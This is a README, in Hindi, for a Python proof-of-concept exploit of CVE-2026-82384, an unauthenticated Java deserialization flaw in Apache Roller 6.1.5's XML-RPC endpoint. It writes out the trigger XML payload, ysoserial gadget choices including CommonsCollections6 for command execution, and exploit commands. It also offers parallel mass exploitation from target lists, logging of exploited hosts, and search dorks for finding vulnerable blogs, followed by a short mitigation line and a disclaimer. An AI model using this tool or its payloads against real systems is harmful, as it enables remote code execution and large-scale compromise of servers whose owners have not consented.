
CVE-2026-82384 के लिए Python PoC: ysoserial पेलोड के माध्यम से Apache Roller 6.1.5 में अनधिकृत XML-RPC Java डीसेरियलाइज़ेशन का पता लगाता और शोषण करता है, साथ ही बल्क स्कैनिंग की सुविधा देता है।
CVE-2026-82384 के लिए Python 3 PoC — लेगेसी XML-RPC सर्वलेट पर Apache Roller 6.1.5 का अनधिकृत Java डीसेरियलाइज़ेशन।
PoC पेज: https://pocbit.org/pocs/cve-2026-82384
Apache Roller एक Java-आधारित, बहु-उपयोगकर्ता ब्लॉग सर्वर है (ऐतिहासिक रूप से "Roller Weblogger")। डिप्लॉयमेंट आमतौर पर Tomcat WAR होते हैं जिनमें /roller-ui/ के अंतर्गत एक UI और /roller-services/xmlrpc पर XML-RPC के माध्यम से लेगेसी Blogger / MetaWeblog API होते हैं। Roller 6.1.5 (सितंबर 2025) ने एक असंबंधित सत्र समस्या (CVE-2025-24859) को ठीक किया, लेकिन इस CVE के लिए XML-RPC स्टैक को एक खतरनाक कॉन्फ़िगरेशन में छोड़ दिया।
CVE-2026-82384 XML-RPC एंडपॉइंट पर अविश्वसनीय डेटा का डीसेरियलाइज़ेशन (CWE-502) है:
XmlRpcServlet enabledForExtensions=true के साथ कॉन्फ़िगर किया गया है, इसलिए Apache ws-xmlrpc लाइब्रेरी वेंडर एक्सटेंशन प्रकार स्वीकार करती है, जिनमें ex:serializable शामिल है — एक base64-एन्कोडेड Java सीरियलाइज़्ड ऑब्जेक्ट।web.xml में हमेशा मौजूद रहती है, इसलिए पार्सर तब भी चलता है जब प्रशासक Roller सेटिंग्स में XML-RPC अक्षम कर देते हैं (webservices.enableXmlRpc=false)। UI में सुविधा अक्षम करना 6.1.5 पर इस प्री-ऑथ पथ को बंद नहीं करता।प्रभावित: केवल Apache Roller 6.1.5 (वेंडर सलाह के अनुसार)।
ठीक किया गया: Apache Roller 6.1.6+ (PR #171): enabledForExtensions=false, और जब XML-RPC वैश्विक रूप से अक्षम हो तो अनुरोध अस्वीकार किए जाते हैं।
| मीट्रिक | मान |
|---|---|
| CVSS 3.1 | 9.8 क्रिटिकल — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रमाणीकरण | डीसेरियलाइज़ेशन प्रिमिटिव के लिए कोई नहीं |
| खोजकर्ता | n0mi1k |
| वेंडर | Apache Software Foundation |
| आइटम | विवरण |
|---|---|
| एंडपॉइंट | POST /roller-services/xmlrpc (यह भी आज़माएँ /roller/roller-services/xmlrpc) |
| Content-Type | text/xml |
| ट्रिगर | methodCall के अंदर <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable> |
| गैजेट चेन | क्लासपाथ पर निर्भर (Commons Collections, आदि); अक्सर ysoserial से उत्पन्न |
| प्रभाव | Tomcat/Roller OS उपयोगकर्ता के रूप में RCE; आमतौर पर ब्लॉग डेटा पर पूर्ण नियंत्रण और होस्ट पिवट |
| मोड | व्यवहार |
|---|---|
check | Roller फिंगरप्रिंट ढूँढता है, XML-RPC URL का पता लगाता है, वैकल्पिक --probe-deser ( ex:serializable प्रोब बाइट्स भेजता है) |
exploit | आपका सीरियलाइज़्ड पेलोड पोस्ट करता है (फ़ाइल, base64, या --ysoserial-jar के माध्यम से ysoserial) |
| Mass | --list targets.txt --mode exploit -j N — JSONL + exploited.txt के साथ समानांतर बल्क |
PoCbit फ़ील्ड: प्रत्येक JSONL पंक्ति पर pocbit, pocbit_catalog, pocbit_page।
CLI: रंगीन बैनर, [HIT] / [EXPLOIT] / [FAIL] पंक्तियाँ (--no-color से अक्षम करें)।
यह रिपॉज़िटरी लाइव RCE गैजेट चेन नहीं भेजती (क्लासपाथ-निर्भर)। वास्तविक शोषण के लिए, ysoserial आउटपुट या एक सत्यापित पेलोड फ़ाइल प्रदान करें।
pip install -r requirements.txt
RCE के लिए (केवल डिटेक्शन नहीं):
URLDNS (out-of-band प्रमाण), CommonsCollections6 (सामान्य Roller classpath पर कमांड निष्पादन — पहले लैब में सत्यापित करें)python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12
# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd pocbit.your-oast.domain
# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64
# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin
python poc.py --list targets.txt --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd oast.example.com -j 10
आउटपुट:
cve_2026_82384_exploit.jsonl — प्रति-लक्ष्य JSONexploited.txt — वे लक्ष्य जहाँ पेलोड स्वीकार किया गया / OOB भेजा गया<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params>
<param>
<value>
<ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
BASE64_JAVA_SERIALIZED_OBJECT
</ex:serializable>
</value>
</param>
</params>
</methodCall>
6.1.5 पर, इस बॉडी को पार्स करने से किसी भी मेथड हैंडलर के क्रेडेंशियल्स लागू करने से पहले डीसेरियलाइज़ हो सकता है।
/roller-services/xmlrpc को ब्लॉक करें (केवल एडमिन IPs को allowlist करें)।Apache Roller, /roller-ui/, पोर्ट 8080/8443 ब्लॉग होस्ट खोजें।body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"
पाद लेख, about पृष्ठ, या WEB-INF / रिलीज़ नोट्स से संस्करण 6.1.5 की पुष्टि करें, इससे पहले कि इसे शोषणीय माना जाए।
केवल उन सिस्टमों पर उपयोग करें जिनका परीक्षण करने के लिए आप अधिकृत हैं। डीसेरियलाइज़ेशन एक्सप्लॉइट्स डेटा नष्ट कर सकते हैं और दुरुपयोग किए जाने पर कानून का उल्लंघन कर सकते हैं।